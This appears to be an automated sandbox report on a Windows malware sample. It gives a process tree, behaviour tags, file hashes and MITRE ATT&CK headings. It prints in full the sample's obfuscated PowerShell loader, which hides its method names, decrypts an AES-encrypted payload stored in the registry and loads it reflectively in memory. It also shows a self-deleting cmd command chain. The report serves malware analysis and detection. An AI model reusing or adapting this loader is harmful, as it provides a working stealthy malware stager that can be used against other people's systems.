$MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cBXxm, 0, $cBXxm.Length);$cBXxm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cBXxm);$GlTUf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2/VItTApDmqYld7UNbITmw==');$GlTUf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GlTUf, 0, $GlTUf.Length);$GlTUf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GlTUf);$YQTnf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y7u8mHn+uE8DouxrXvlfhI8HvaFVabiSu9wW1NQnVBW3d+pbXbyeWiMzHsShgQVzWTccLy3R/sL1Fgo2ngbj1Xyhdd8QHKlT7xJYowF1jSmMT/YNyn61oZ4EBOdIILtHY76iwoY89T/0NXOlbVQSqG6f76Tvu+/ljtRIjK68ygJujUjyjF9W1UFNXnjlbvKaQ0BTSj7AUpwYBspcSQUSWqlV4JZYmfkLzrzzafMFwHzW6zgfk8rU5wxN2vDnC7yji58n7rylZaggz4+okuyhoMrfM4k/T/mqHJ8VdUFO8xpIeX3hePuaZ5Z58y1CyCEoFhGVyjfm3AnZl3fgFnvsWSS15RXMq5KXGV3I38NkazdqvV05jjZTTECaOwsRwu2zLdJ29XVcSC4yPm3wAT5LZe+YH34hMw11+Tv5n+xxqwY=');$YQTnf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YQTnf, 0, $YQTnf.Length);$YQTnf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YQTnf);$CPWdf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vGf9ES1PdsfKW8Swn9bI3w==');$CPWdf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CPWdf, 0, $CPWdf.Length);$CPWdf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CPWdf);$igAgV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3UiHcuo7jcw/WkburfrLBQ==');$igAgV = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($igAgV, 0, $igAgV.Length);$igAgV = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($igAgV);$ZYOXs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hDpsuPmELCzhYTCugvhrpA==');$ZYOXs = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZYOXs, 0, $ZYOXs.Length);$ZYOXs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZYOXs);$cmXWw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Duasd/EcBtQj2cZsgiwg+Q==');$cmXWw = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cmXWw, 0, $cmXWw.Length);$cmXWw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cmXWw);$qpchR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KDa4G8PrmTjfH/8cqC5WDg==');$qpchR = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qpchR, 0, $qpchR.Length);$qpchR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qpchR);$NUNZn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkNHx2c/PIn2isifrSOkpw==');$NUNZn0 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn0, 0, $NUNZn0.Length);$NUNZn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn0);$NUNZn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QCQIFS3Mnpd27lKyoiLRsA==');$NUNZn1 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn1, 0, $NUNZn1.Length);$NUNZn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn1);$NUNZn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McBhlHe8GfiHzcJuHtKawA==');$NUNZn2 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn2, 0, $NUNZn2.Length);$NUNZn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn2);$NUNZn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iUE4hGy8AZeVxL9AvErB6A==');$NUNZn3 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn3, 0, $NUNZn3.Length);$NUNZn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn3);$MSWRP.Dispose();$VbRCn1.Dispose();if (@(get-process -ea silentlycontinue $NUNZn3).count -gt 1) {exit};$Stjgn = [Microsoft.Win32.Registry]::$cmXWw.$ZYOXs($NUNZn).$igAgV($cBXxm);$hQsbc=[string[]]$Stjgn.Split('\');$YNdMX=SPSlI(PprBf([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hQsbc[1])));aBEzg $YNdMX (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NbCPC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hQsbc[0]);$VbRCn = New-Object System.Security.Cryptography.AesManaged;$VbRCn.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VbRCn.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VbRCn.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU=');$VbRCn.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ==');$nMOmr = $VbRCn.('rotpyrceDetaerC'[-1..-15] -join '')();$NbCPC = $nMOmr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NbCPC, 0, $NbCPC.Length);$nMOmr.Dispose();$VbRCn.Dispose();$qrnaZ = New-Object System.IO.MemoryStream(, $NbCPC);$RJeXu = New-Object System.IO.MemoryStream;$eBeQA = New-Object System.IO.Compression.GZipStream($qrnaZ, [IO.Compression.CompressionMode]::$NUNZn1);$eBeQA.$qpchR($RJeXu);$eBeQA.Dispose();$qrnaZ.Dispose();$RJeXu.Dispose();$NbCPC = $RJeXu.ToArray();$dlxUL = $YQTnf | IEX;$oxAUi = $dlxUL::$NUNZn2($NbCPC);$qVnjt = $oxAUi.EntryPoint;$qVnjt.$NUNZn0($null, (, [string[]] ($GlTUf)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1160 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1160).WaitForExit();[System.Threading.Thread]::Sleep(5000); function PprBf($RmAux){ $VbRCn=[System.Security.Cryptography.Aes]::Create(); $VbRCn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $VbRCn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $VbRCn.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU='); $VbRCn.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ=='); $nMOmr=$VbRCn.('rotpyrceDetaerC'[-1..-15] -join '')(); $WZWky=$nMOmr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmAux, 0, $RmAux.Length); $nMOmr.Dispose(); $VbRCn.Dispose(); $WZWky;}function SPSlI($RmAux){ $qrnaZ=New-Object System.IO.MemoryStream(,$RmAux); $RJeXu=New-Object System.IO.MemoryStream; $eBeQA=New-Object System.IO.Compression.GZipStream($qrnaZ, [IO.Compression.CompressionMode]::Decompress); $eBeQA.CopyTo($RJeXu); $eBeQA.Dispose(); $qrnaZ.Dispose(); $RJeXu.Dispose(); $RJeXu.ToArray();}function aBEzg($RmAux,$ZKJrf){ $oxAUi=[System.Reflection.Assembly]::Load([byte[]]$RmAux); $qVnjt=$oxAUi.EntryPoint; $qVnjt.Invoke($null, $ZKJrf);}$VbRCn1 = New-Object System.Security.Cryptography.AesManaged;$VbRCn1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VbRCn1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VbRCn1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU=');$VbRCn1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ==');$MSWRP = $VbRCn1.('rotpyrceDetaerC'[-1..-15] -join '')();$NUNZn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iZ8jPKmNkFdL1A6USwSGLA==');$NUNZn = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn, 0, $NUNZn.Length);$NUNZn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn);$cBXxm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('302eS2iAhetJuvIY9pVgKOFxBony5LGiLQi+lPOo9Ig=');$cBXxm = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cBXxm, 0, $cBXxm.Length);$cBXxm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cBXxm);$GlTUf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2/VItTApDmqYld7UNbITmw==');$GlTUf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GlTUf, 0, $GlTUf.Length);$GlTUf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GlTUf);$YQTnf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y7u8mHn+uE8DouxrXvlfhI8HvaFVabiSu9wW1NQnVBW3d+pbXbyeWiMzHsShgQVzWTccLy3R/sL1Fgo2ngbj1Xyhdd8QHKlT7xJYowF1jSmMT/YNyn61oZ4EBOdIILtHY76iwoY89T/0NXOlbVQSqG6f76Tvu+/ljtRIjK68ygJujUjyjF9W1UFNXnjlbvKaQ0BTSj7AUpwYBspcSQUSWqlV4JZYmfkLzrzzafMFwHzW6zgfk8rU5wxN2vDnC7yji58n7rylZaggz4+okuyhoMrfM4k/T/mqHJ8VdUFO8xpIeX3hePuaZ5Z58y1CyCEoFhGVyjfm3AnZl3fgFnvsWSS15RXMq5KXGV3I38NkazdqvV05jjZTTECaOwsRwu2zLdJ29XVcSC4yPm3wAT5LZe+YH34hMw11+Tv5n+xxqwY=');$YQTnf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YQTnf, 0, $YQTnf.Length);$YQTnf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YQTnf);$CPWdf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vGf9ES1PdsfKW8Swn9bI3w==');$CPWdf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CPWdf, 0, $CPWdf.Length);$CPWdf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CPWdf);$igAgV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3UiHcuo7jcw/WkburfrLBQ==');$igAgV = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($igAgV, 0, $igAgV.Length);$igAgV = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($igAgV);$ZYOXs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hDpsuPmELCzhYTCugvhrpA==');$ZYOXs = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZYOXs, 0, $ZYOXs.Length);$ZYOXs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZYOXs);$cmXWw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Duasd/EcBtQj2cZsgiwg+Q==');$cmXWw = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cmXWw, 0, $cmXWw.Length);$cmXWw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cmXWw);$qpchR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KDa4G8PrmTjfH/8cqC5WDg==');$qpchR = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qpchR, 0, $qpchR.Length);$qpchR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qpchR);$NUNZn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkNHx2c/PIn2isifrSOkpw==');$NUNZn0 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn0, 0, $NUNZn0.Length);$NUNZn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn0);$NUNZn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QCQIFS3Mnpd27lKyoiLRsA==');$NUNZn1 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn1, 0, $NUNZn1.Length);$NUNZn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn1);$NUNZn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McBhlHe8GfiHzcJuHtKawA==');$NUNZn2 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn2, 0, $NUNZn2.Length);$NUNZn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn2);$NUNZn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iUE4hGy8AZeVxL9AvErB6A==');$NUNZn3 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn3, 0, $NUNZn3.Length);$NUNZn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn3);$MSWRP.Dispose();$VbRCn1.Dispose();if (@(get-process -ea silentlycontinue $NUNZn3).count -gt 1) {exit};$Stjgn = [Microsoft.Win32.Registry]::$cmXWw.$ZYOXs($NUNZn).$igAgV($cBXxm);$hQsbc=[string[]]$Stjgn.Split('\');$YNdMX=SPSlI(PprBf([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hQsbc[1])));aBEzg $YNdMX (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NbCPC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hQsbc[0]);$VbRCn = New-Object System.Security.Cryptography.AesManaged;$VbRCn.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VbRCn.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VbRCn.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU=');$VbRCn.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ==');$nMOmr = $VbRCn.('rotpyrceDetaerC'[-1..-15] -join '')();$NbCPC = $nMOmr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NbCPC, 0, $NbCPC.Length);$nMOmr.Dispose();$VbRCn.Dispose();$qrnaZ = New-Object System.IO.MemoryStream(, $NbCPC);$RJeXu = New-Object System.IO.MemoryStream;$eBeQA = New-Object System.IO.Compression.GZipStream($qrnaZ, [IO.Compression.CompressionMode]::$NUNZn1);$eBeQA.$qpchR($RJeXu);$eBeQA.Dispose();$qrnaZ.Dispose();$RJeXu.Dispose();$NbCPC = $RJeXu.ToArray();$dlxUL = $YQTnf | IEX;$oxAUi = $dlxUL::$NUNZn2($NbCPC);$qVnjt = $oxAUi.EntryPoint;$qVnjt.$NUNZn0($null, (, [string[]] ($GlTUf)))5⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\build.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\build.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\build.bat.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:2592 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
PID:2844
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C:\Windows\system32\PING.EXEPING localhost -n 85⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1020
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C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\build.bat.exe"5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2456
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C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\build.bat.exe"5⤵
- Views/modifies file attributes
PID:4920
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3560
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3768
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3924
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4144
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:1852
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1892
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2380
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2288
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4500
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1920
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3444
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:448
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:3124
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4008
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:3400
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:2216
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:4088
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
1.8MB
MD57873612dddd9152d70d892427bc45ef0
SHA1ab9079a43a784471ca31c4f0a34b698d99334dfa
SHA256203d10b0deaea87d5687d362ba925289a13e52b5df55b9de58ba534290af27bf
SHA512d988e9ff11017465b019cf3b599ef7597d2c44fc37cbee9e846dee51990ca5dc45942cc183d9d25c1dfd84f33f922c2ceead6efc1ead19e8eecb509dfb78a083
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Filesize
52KB
MD59ef28981adcbf4360de5f11b8f4ecff9
SHA1219aaa1a617b1dfa36f3928bd1020e410666134f
SHA2568caaca1bfc909fcb972ceade7be7b80b5855a4621562ee32a10c9903b616d49a
SHA512ef7f0b25fae749e6134269683f973fef37dfa1969fa4fa0567378ada073c36da4feb17b62d3282c443f4d3ba8b4aeb39063c607c848ade095880d981141adb9c
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Filesize
162KB
MD5a366d6623c14c377c682d6b5451575e6
SHA1a8894fcfb3aa06ad073b1f581b2e749b54827971
SHA2567ed89c668d8ec04c1a0a73f35702b8e0d9819e13e6e7c51c4ac0e0abda6683e6
SHA512cc7da40652209337d2122cafc903d3c11e31b5a37baf2247034e2f3e1de255e58d0e27fc134ce60a6812e6674fd8bc899f2b434dfc1160053f684cf220e6cb11